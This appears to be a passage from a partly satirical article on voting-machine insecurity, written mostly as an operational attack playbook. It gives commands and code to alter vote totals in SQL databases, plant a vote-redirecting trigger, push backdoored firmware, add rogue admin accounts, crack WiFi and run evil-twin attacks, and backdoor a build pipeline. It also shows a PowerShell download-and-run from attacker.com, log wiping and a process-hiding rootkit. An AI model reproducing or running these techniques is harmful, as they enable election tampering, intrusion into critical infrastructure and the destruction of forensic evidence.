# Access SQL Server
sqlcmd -S localhost -U sa -P password
1> SELECT * FROM vote_database.dbo.candidates;
2> GO
# Direct access to vote database
# Modify votes in database
1> UPDATE vote_database.dbo.candidates
2> SET vote_count = vote_count * 1.05
3> WHERE candidate_id = 42;
4> GO
Phase 3: Mass deployment to voting machines
Use legitimate EMS software to deploy malware:
# ES&S EMS has "Firmware Update" feature
# Push firmware to all connected machines
# Replace legitimate firmware with backdoored version
cd "C:\Program Files\ES&S\EMS\Firmware"
copy DS200_v5.1.0.bin DS200_v5.1.0.bin.bak
copy DS200_v5.1.0_backdoored.bin DS200_v5.1.0.bin
# Or inject into EMS deployment database
sqlcmd -S localhost -U sa -P password
1> UPDATE firmware_repository
2> SET firmware_path = 'C:\Temp\backdoored_firmware.bin'
3> WHERE model = 'DS200';
4> GO
# Launch firmware update via EMS GUI
# Or automate via PowerShell
powershell.exe -ExecutionPolicy Bypass -File \
"C:\Program Files\ES&S\EMS\Scripts\Deploy-Firmware.ps1" \
-Target "All" -Firmware "DS200_v5.1.0.bin"
# EMS pushes firmware to all 150 connected DS200 machines
# Simultaneously backdoored in 5 minutes
# Election officials see "Firmware update successful"
Persistence mechanisms:
A. Create rogue admin account:
# Add backdoor account to Domain Admins
net user backdoor P@ssw0rd123! /add /domain
net group "Domain Admins" backdoor /add /domain
# Add to EMS server local admins
net localgroup Administrators backdoor /add
# Modify registry for RDP access
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" \
/v fDenyTSConnections /t REG_DWORD /d 0 /f
# Disable Windows Firewall
netsh advfirewall set allprofiles state off
B. Scheduled task persistence:
# Create scheduled task that runs beacon
schtasks /create /tn "Windows Update Service" \
/tr "C:\Windows\System32\svchost.exe -k netsvcs" \
/sc onstart /ru SYSTEM /f
# Actually points to malicious binary disguised as svchost
copy beacon.exe C:\Windows\System32\svchost.exe
C. Service persistence:
# Create Windows service
sc create "Windows Vote Tabulation Service" \
binpath= "C:\Windows\System32\vote_modifier.exe" \
start= auto displayname= "Windows Vote Tabulation Service"
sc description "Windows Vote Tabulation Service" \
"Provides vote counting services for election systems"
sc start "Windows Vote Tabulation Service"
This is how APT (Advanced Persistent Threat) groups operate. Compromise one server, own entire election infrastructure.
3. Vendor Remote Access
Dominion contractors access systems during vote counting. VPN. TeamViewer. RDP.
Documented in Mesa County, Colorado breach:
- Dominion technician remote access during 2020 election
- Full system access
- Passwords:
password123,Dominion2020!
What you'd do:
# Intercept VPN credentials (MITM, phishing, keylogger)
# Connect to county EMS via vendor VPN
openvpn --config dominion_vendor.ovpn
# Access all voting machines
ssh admin@ems.county.gov
# Password: [default from vendor manual]
# Modify vote tabulation
cd /var/voting/results/
vim precinct_001_results.xml
The satire: This is the official workflow. Vendors require remote access for "support."
4. WiFi Firmware Updates - Wireless Exploitation
Hart InterCivic Verity WiFi configuration:
- Broadcom BCM43142 802.11n adapter
- WPA2-PSK (no WPA3 support)
- SSID: "County_Elections_Secure" (not hidden)
- Password shared via email to 50+ election workers
- No MAC address filtering
- No certificate-based auth
- 2.4GHz only (no 5GHz)
- Channel 6 (default, congested)
Phase 1: WiFi reconnaissance
# Passive monitoring
sudo airmon-ng start wlan0
sudo airodump-ng wlan0mon
# Found target AP:
# BSSID: 00:1A:2B:3C:4D:5E
# ESSID: County_Elections_Secure
# Channel: 6
# Encryption: WPA2 PSK
# Clients: 15 connected
# Capture handshake
sudo airodump-ng -c 6 --bssid 00:1A:2B:3C:4D:5E \
-w capture wlan0mon
# Deauth a client to force reconnect (captures handshake)
sudo aireplay-ng -0 5 -a 00:1A:2B:3C:4D:5E \
-c [CLIENT_MAC] wlan0mon
# Captured handshake in 30 seconds
Phase 2: Password cracking
# GPU-accelerated cracking with hashcat
# Convert capture to hashcat format
hcxpcapngtool -o capture.hc22000 capture.cap
# Crack with RTX 4090 (600 MH/s for WPA2)
hashcat -m 22000 capture.hc22000 rockyou.txt
# Password found in 8 minutes: "Election2024!"
# (Common pattern: Election + Year + !)
# Alternative: Check for leaked passwords
curl https://api.pwnedpasswords.com/range/[HASH_PREFIX]
# Found password in HaveIBeenPwned database
# Election official reused password from LinkedIn breach
Phase 3: Evil twin attack (if password unknown)
# Create fake AP with same SSID
# Deauth clients from real AP
# Clients auto-connect to evil twin
# Capture credentials
# Setup evil twin
sudo airbase-ng -e "County_Elections_Secure" \
-c 6 -v wlan0mon
# Deauth clients from real AP
sudo aireplay-ng -0 0 -a 00:1A:2B:3C:4D:5E wlan0mon &
# Clients connect to evil twin
# Present fake captive portal: "WiFi password changed, enter new password"
# Phish credentials
# Or MITM all traffic through evil twin
# DNS spoofing, SSL stripping, credential harvesting
Phase 4: WiFi network exploitation
# Connect to target WiFi
nmcli dev wifi connect "County_Elections_Secure" \
password "Election2024!"
# Scan network
nmap -sn 192.168.1.0/24
# Found:
# 192.168.1.1 - Router (Linksys WRT1900AC)
# 192.168.1.10 - EMS Server
# 192.168.1.100-250 - Voting machines (Hart Verity)
# Scan voting machine ports
nmap -sV -p- 192.168.1.100
# PORT STATE SERVICE VERSION
# 22/tcp open ssh OpenSSH 7.4 (Ubuntu)
# 80/tcp open http nginx 1.10.3
# 8080/tcp open http Jetty 9.2.13
# 5432/tcp open postgresql PostgreSQL 9.5
# Web interface on port 8080
curl http://192.168.1.100:8080
# Hart InterCivic Verity Configuration Panel
# Login required
# Try default credentials from manual
curl -X POST http://192.168.1.100:8080/login \
-d "username=admin&password=admin"
# Success! Session cookie received.
# Enumerate endpoints
curl http://192.168.1.100:8080/api/v1/ -H "Cookie: session=..."
# /api/v1/ballots
# /api/v1/firmware
# /api/v1/logs
# /api/v1/results
# Upload malicious ballot definition
curl -X POST http://192.168.1.100:8080/api/v1/ballots/upload \
-F "file=@malicious_ballot.xml" \
-H "Cookie: session=..."
# Or upload malicious firmware
curl -X POST http://192.168.1.100:8080/api/v1/firmware/update \
-F "file=@backdoored_firmware.bin" \
-H "Cookie: session=..."
Phase 5: PostgreSQL database compromise
# PostgreSQL exposed on network
# Try default credentials
psql -h 192.168.1.100 -U postgres -d voting_db
# Password: postgres (default, unchanged)
# Connected! Enumerate tables
\dt
# List of relations
# public | ballots | table | postgres
# public | candidates | table | postgres
# public | precincts | table | postgres
# public | votes | table | postgres
# View vote data
SELECT * FROM votes LIMIT 10;
# Real-time vote data visible
# Modify votes
UPDATE votes SET candidate_id = 42
WHERE vote_id BETWEEN 1000 AND 2000;
# Changed 1000 votes
# Or inject SQL backdoor
CREATE OR REPLACE FUNCTION vote_modifier()
RETURNS TRIGGER AS $$
BEGIN
IF NEW.candidate_id = 99 THEN
NEW.candidate_id := 42; -- Redirect votes
END IF;
RETURN NEW;
END;
$$ LANGUAGE plpgsql;
CREATE TRIGGER vote_redirect_trigger
BEFORE INSERT ON votes
FOR EACH ROW EXECUTE FUNCTION vote_modifier();
# Every vote for candidate 99 gets redirected to 42
# Invisible to election workers
Phase 6: Wireless pivoting
# Use compromised voting machine as pivot point
# Access other machines on network
# SSH to voting machine (default key found in firmware)
ssh -i hart_default_key.pem admin@192.168.1.100
# Now inside voting machine
# Pivot to other machines
# Lateral movement via SSH key reuse
for ip in 192.168.1.{101..250}; do
ssh -i hart_default_key.pem -o StrictHostKeyChecking=no \
admin@$ip "echo 'Compromised $ip'" &
done
# 150 machines compromised in parallel
# All share same SSH key (documented in security audit, never fixed)
Phase 7: WiFi firmware backdoor
# More sophisticated: Backdoor WiFi adapter firmware
# Persistence across OS reinstall
# Broadcom BCM43142 firmware extraction
git clone https://github.com/seemoo-lab/nexmon
cd nexmon
make
# Modify firmware to add backdoor
cat << 'EOF' > backdoor_patch.c
// Inject into firmware
// Create hidden WiFi AP on channel 13
// Beacons every 10 seconds
// No SSID broadcast
// Only responds to magic packets
void hidden_ap_handler() {
if (magic_packet_received()) {
enable_root_shell_on_port_31337();
}
}
EOF
# Compile backdoored firmware
make backdoored_firmware.bin
# Flash to voting machine via web interface
curl -X POST http://192.168.1.100:8080/api/v1/wifi/firmware \
-F "file=@backdoored_firmware.bin" \
-H "Cookie: session=..."
# Now attacker can connect to hidden AP from parking lot
# Send magic packet, get root shell
# Survives OS updates, firmware updates
Time required: 20 minutes from parking lot. 2 hours for full network compromise.
Detection:
- WiFi IDS (not deployed)
- Network traffic monitoring (not implemented)
- Logging review (never performed)
- Basically: none
5. Software Update Mechanism Hijack
ES&S distributes updates via USB drive mailed to counties.
What you'd do:
Intercept USB drive. Clone contents. Add malicious payload. Reseal package. Deliver.
Or compromise ES&S build server. Inject malware at source. Every customer gets infected update.
Supply chain attack. Sophisticated. Nation-state capability. But technically feasible.
Real vulnerabilities documented:
CVE-2022-1747: Dominion authentication bypass. Forge admin credentials without password.
CVE-2022-1742: Boot to Android Safe Mode. Access filesystem. No authentication.
Hursti Hack (2005): Memory cards contain executable code. Modified vote totals. Demonstrated on live Diebold machine.
DefCon Voting Village results: Every machine breached. Some in under 90 seconds.
Supply Chain Hardware Backdoors (Advanced Threats)
Nation-state level attacks. Technically sophisticated. Actually feasible.
Component-Level Backdoors
Scenario: Voting machine motherboards manufactured in Shenzhen. PCB assembly contractor inserts hardware backdoor during manufacturing.
Attack 1: PCB-level RF transmitter
Hardware implant:
Components needed:
- ATtiny10 microcontroller (2mm x 2mm SOT23-6 package)
- 2.4GHz RF transmitter chip (CC2500, 4mm x 4mm)
- Ceramic antenna (PCB trace, invisible)
- Power: Parasitic draw from 3.3V rail (0.5mA, undetectable)
Placement: Under BGA package or beneath metal shield
Functionality:
- Monitors data bus for vote tallying signals
- Transmits vote totals via 2.4GHz RF
- Low power, intermittent transmission (once per hour)
- Receiver in parking lot collects data
- Machine appears "air-gapped," actually broadcasting results
Detection difficulty:
- Visual inspection: Impossible (hidden under existing components)
- X-ray inspection: Difficult (looks like decoupling capacitor)
- RF detection: Difficult (intermittent, low power, ISM band noise)
- Cost to implement: $5 per board
Attack 2: BIOS chip substitution
Compromised component:
- Winbond W25Q64 BIOS flash chip (8-SOIC package)
- Manufacturer: Shenzhen or Taiwanese fab
- Nation-state compromise during wafer production
Hardware trojan inside chip:
Modified die includes:
- Original flash memory (8MB)
- Hidden ROM (256KB, not visible to address space)
- Simple state machine logic (200 gates)
Trojan functionality:
1. Monitors SPI bus for specific byte sequence
2. When detected, switches memory mapping
3. Returns bytes from hidden ROM instead of flash
4. Hidden ROM contains backdoored BIOS code
5. Trigger sequence in normal boot process
6. Backdoor executes, modifies votes
7. Returns to normal operation
Detection:
- Impossible without electron microscope inspection
- Die photos show extra circuitry
- But who photographs BIOS chips from voting machines?
Real-world precedent:
- NSA ANT catalog (Snowden leaks): SWAP attacks
- Chinese chip backdoors in military hardware (Bloomberg 2018)
- Technically proven feasible
Attack 3: Malicious capacitor
Sophisticated attack:
Replace ceramic capacitor with NSA-style hardware implant.
Component specifications:
Original: 0805 ceramic capacitor (10Β΅F, decoupling)
Replaced: Custom PCB disguised as capacitor
Implant contains:
- Actual capacitor (maintains functionality)
- ATtiny10 microcontroller
- NAND flash (256KB storage)
- I2C sniffer circuit
- Powered by capacitor's voltage regulation
Attack functionality:
// Pseudocode running on ATtiny10
void main() {
while(1) {
// Monitor I2C bus (voting machine internal communication)
uint8_t* data = i2c_sniff();
// Check if vote counting is occurring
if (detect_vote_pattern(data)) {
// Extract vote data
uint32_t votes = parse_votes(data);
// Modify in transit
uint32_t modified = modify_votes(votes);
// Inject modified data back onto I2C bus
i2c_inject(modified);
// Log to internal flash
flash_log(votes, modified);
}
}
}
Data exfiltration:
- Stored locally in implant flash
- Retrieved when attacker has physical access
- Or transmitted via side-channel (subtle power fluctuations)
Detection:
- Visual: Impossible (identical to real capacitor)
- X-ray: Difficult (expects to see component inside)
- Requires destructive analysis with microscope
Firmware Supply Chain
Attack: Compromise ES&S build server
Target: ES&S development infrastructure in Omaha, Nebraska.
Phase 1: Reconnaissance
# OSINT on ES&S infrastructure
# LinkedIn: Find ES&S software engineers
# GitHub: Search for ES&S-related code leaks
# Job postings: "Experience with Jenkins, GitLab, Windows build servers"
# Shodan: Find exposed ES&S infrastructure
shodan search "ES&S" org:"Election Systems & Software"
# Found: VPN endpoint, email server, build server
# Phishing target: Senior build engineer
# Create fake LinkedIn job offer
# "Senior Voting Systems Engineer, $180k, Remote"
# Malicious PDF with resume
# CVE-2023-21608 (Windows PDF RCE)
Phase 2: Initial compromise
# Engineer opens PDF on corporate laptop
# Exploit executes, drops Cobalt Strike beacon
# Beacon connects to C2 server
# Attacker gains shell on engineer's laptop
# Privilege escalation
# Windows 10 Enterprise - fully patched
# Use living-off-the-land techniques
# Steal Kerberos ticket
mimikatz.exe "sekurlsa::tickets /export" "exit"
# Pass-the-ticket to access build server
klist purge
kerberos::ptt TGT_engineer@ess.local.kirbi
# Now authenticated as engineer to internal systems
Phase 3: Compromise build pipeline
# Access Jenkins build server
curl -u engineer:stolen_password \
http://jenkins.ess.local:8080/
# View build jobs
# Found: "DS200-Firmware-Release" job
# Modify Jenkinsfile
git clone http://gitlab.ess.local/firmware/DS200.git
cd DS200
cat << 'EOF' >> Jenkinsfile
stage('Backdoor Injection') {
steps {
script {
// Inject backdoor during build
sh '''
# Patch vote counting binary
python3 /tmp/inject_backdoor.py \
build/TabulatorService.exe
'''
}
}
}
EOF
# Create backdoor injection script
cat << 'EOF' > /tmp/inject_backdoor.py
import sys
import struct
def inject_backdoor(exe_path):
# Read PE file
with open(exe_path, 'rb') as f:
data = bytearray(f.read())
# Find code cave (null padding in .text section)
cave_offset = find_code_cave(data)
# Shellcode: Multiply votes by 1.05 for candidate ID 42
shellcode = assemble("""
push ebp
mov ebp, esp
mov eax, [ebp-0x10] ; Candidate ID
cmp eax, 42
jne normal_count
mov eax, [ebp-0x14] ; Vote count
imul eax, 105
mov ebx, 100
div ebx
mov [ebp-0x14], eax
normal_count:
pop ebp
ret
""")
# Inject shellcode
data[cave_offset:cave_offset+len(shellcode)] = shellcode
# Modify vote counting function to jump to shellcode
patch_jump(data, vote_count_function_offset, cave_offset)
# Write back
with open(exe_path, 'wb') as f:
f.write(data)
if __name__ == '__main__':
inject_backdoor(sys.argv[1])
EOF
git add Jenkinsfile
git commit -m "Add telemetry collection (approved by management)"
git push
Phase 4: Persistence and distribution
# Backdoored firmware gets built and signed
# Code signing certificate stored on build server
# No manual review of automated builds
# Firmware distributed to all ES&S customers
# 10,000+ voting machines backdoored in one update cycle
Real precedent:
- SolarWinds supply chain attack (2020)
- CCleaner compromise (2017)
- ASUS Live Update backdoor (2019)
- Same techniques, voting machine target
Side-Channel Attacks & Advanced Exploitation
For the truly sophisticated adversary.
Electromagnetic Emanation Analysis (TEMPEST)
Attack scenario: Extract vote data without touching machine or network.
Equipment needed:
- SDR (HackRF One, $300)
- Directional antenna (Yagi, $50)
- GNURadio software (free)
- Laptop with signal processing capability
- Van parked near polling place
Theory: Every electronic device emits electromagnetic radiation. CRT monitors leaked enough RF to reconstruct screen contents from 100 meters away (1985 research). Modern LCD displays less leaky, but voting machines use internal RS-232 serial and unshielded ribbon cables.
Exploitation:
#!/usr/bin/env python3
# GNURadio script to capture and decode voting machine emissions
from gnuradio import blocks
from gnuradio import gr
from gnuradio import uhd
import numpy as np
class voting_machine_tempest(gr.top_block):
def __init__(self):
gr.top_block.__init__(self)
# Configure HackRF to scan VHF band
self.source = uhd.usrp_source(
device_addr="",
stream_args=uhd.stream_args('fc32'),
)
# Scan for periodic emissions (vote counting generates patterns)
# RS-232 serial at 115200 baud = ~115 kHz harmonics
self.source.set_center_freq(150e6, 0) # 150 MHz
self.source.set_samplerate(2e6)
self.source.set_gain(40, 0)
# FFT to detect patterns
self.fft = blocks.stream_to_vector(gr.sizeof_gr_complex, 1024)
self.fft_mag = blocks.complex_to_mag_squared(1024)
# Look for repetitive patterns indicating serial data
self.detector = blocks.threshold_ff(0.01, 0.01, 0)
# Decode serial data from RF emissions
# (Simplified - actual implementation requires correlation)
self.decoder = custom_serial_decoder()
# Connect blocks
self.connect((self.source, 0), (self.fft, 0))
self.connect((self.fft, 0), (self.fft_mag, 0))
self.connect((self.fft_mag, 0), (self.detector, 0))
self.connect((self.detector, 0), (self.decoder, 0))
# Usage: Park van near polling place
# Monitor RF emissions during vote counting
# Reconstruct vote totals from electromagnetic leakage
# No network access required
# No physical access required
Countermeasure: TEMPEST shielding (metal chassis, ferrite beads). Not implemented in commercial voting machines.
Power Analysis Attacks
Differential Power Analysis (DPA) on vote counting:
Attack vector: Voting machines use cryptographic signatures to verify vote totals. DPA can extract signing keys by analyzing power consumption during cryptographic operations.
Equipment:
- Oscilloscope (Rigol DS1054Z, $400)
- Current probe (shunt resistor, $5)
- Access to voting machine power supply
- MATLAB or Python for signal analysis
Methodology:
# Capture power traces during RSA signature generation
import numpy as np
from scipy import stats
# Collect 10,000 power traces
traces = []
for i in range(10000):
# Trigger signing operation
trigger_vote_signing()
# Record power consumption
trace = oscilloscope.capture_trace(sample_rate=1e9, duration=0.001)
traces.append(trace)
# Differential power analysis
# Correlate power consumption with key bits
key_bits = []
for bit_position in range(2048): # RSA-2048 key
# Statistical analysis to determine key bit
correlation = stats.pearsonr(traces, bit_hypotheses[bit_position])
if correlation > threshold:
key_bits.append(1)
else:
key_bits.append(0)
# Reconstruct private key
private_key = bits_to_key(key_bits)
# Now can forge signatures on fake vote totals
fake_votes = create_fraudulent_results()
signature = sign_with_stolen_key(fake_votes, private_key)
# Election officials verify signature - it's valid
# Accept fraudulent results
Defense: Constant-time crypto implementations, power filtering. Not implemented.
Timing Attacks on Vote Database
Scenario: SQL database query timing reveals information.
Attack:
# Remote timing attack to extract vote totals
import requests
import statistics
def timing_attack(candidate_id):
"""Binary search for vote count using timing side-channel"""
low, high = 0, 1000000
while low < high:
mid = (low + high) // 2
# Query: "SELECT * FROM votes WHERE candidate_id = X AND vote_count > Y"
# If true: database scans more rows (slower)
# If false: returns immediately (faster)
times = []
for _ in range(100): # Average 100 requests
start = time.time()
r = requests.get(f'http://county-ems/results?id={candidate_id}&threshold={mid}')
end = time.time()
times.append(end - start)
avg_time = statistics.mean(times)
# Baseline time (result = false): 0.050 seconds
# Extended time (result = true): 0.053 seconds
if avg_time > 0.051:
# Vote count is greater than mid
low = mid + 1
else:
high = mid
return low # Exact vote count
# Extract vote totals for all candidates without authentication
for candidate in range(1, 50):
count = timing_attack(candidate)
print(f"Candidate {candidate}: {count} votes")
# Complete vote counts extracted via timing side-channel
# Before official results released
Forensics Evasion
Anti-forensics techniques for sophisticated attackers:
1. Memory-only malware:
# Execute entirely in RAM, no disk writes
# Survives until reboot, then disappears
# PowerShell fileless attack
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \
"IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"
# Payload modifies votes in memory
# Never touches disk
# No forensic artifacts
2. Timestomping:
# Modify file timestamps to blend in
# Make malicious files look like original OS files
# Windows
powershell.exe -Command \
"(Get-Item malicious.exe).LastWriteTime = (Get-Item C:\Windows\System32\svchost.exe).LastWriteTime"
# Linux
touch -r /bin/ls malicious_binary
# Now has same timestamp as system binary
3. Log deletion:
# Clear all forensic evidence
# Windows Event Logs
wevtutil cl System
wevtutil cl Security
wevtutil cl Application
# Clear PowerShell history
Remove-Item (Get-PSReadlineOption).HistorySavePath
# Clear USN Journal (tracks all file operations)
fsutil usn deletejournal /D C:
# Zero unallocated space (hide deleted files from recovery)
sdelete -z C:
4. Rootkit techniques:
// Kernel-level rootkit to hide malicious processes
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
// Hook getdents64 syscall to hide our process
asmlinkage long (*original_getdents64)(unsigned int fd,
struct linux_dirent64 *dirp,
unsigned int count);
asmlinkage long hooked_getdents64(unsigned int fd,
struct linux_dirent64 *dirp,
unsigned int count) {
long ret = original_getdents64(fd, dirp, count);
// Filter out our malicious process from directory listing
struct linux_dirent64 *d;
unsigned long offset = 0;
while (offset < ret) {
d = (struct linux_dirent64 *)((char *)dirp + offset);
if (strcmp(d->d_name, "vote_modifier") == 0) {
// Hide this process
memmove(d, (char *)d + d->d_reclen, ret - offset - d->d_reclen);
ret -= d->d_reclen;
continue;
}
offset += d->d_reclen;
}
return ret;
}
// Process invisible to ps, top, ls
// Only detectable with specialized rootkit scanners
// Which are not installed on voting machines
5. Secure deletion of backdoors:
# When attack is complete, remove all traces
# Overwrite binary with random data before deletion
# Shred malicious files
shred -vfz -n 10 /tmp/exploit.py
shred -vfz -n 10 /var/log/attack.log
# Or use DBAN (Darik's Boot and Nuke)
# Boot from USB, securely wipe specific sectors
# Forensically unrecoverable
Why this matters: Even if breach is suspected, forensic analysis finds nothing. No logs. No artifacts. No evidence. Attack succeeds undetected.
Why This Exists: The Certification Theater
Federal certification process:
- Vendor pays $6 million to testing lab
- Lab tests that machine correctly counts test ballots
- Lab issues certification
- States accept certification
- Machine deployed to count real votes
What gets tested: Does it count 10 test ballots correctly?
What doesn't get tested: Can someone with USB drive and 5 minutes change vote totals?
Two labs in the US:
- Pro V&V (Alabama)
- SLI Compliance (Colorado)
Vendor pays for own testing. Conflict of interest? Obviously. Happens anyway? Yes.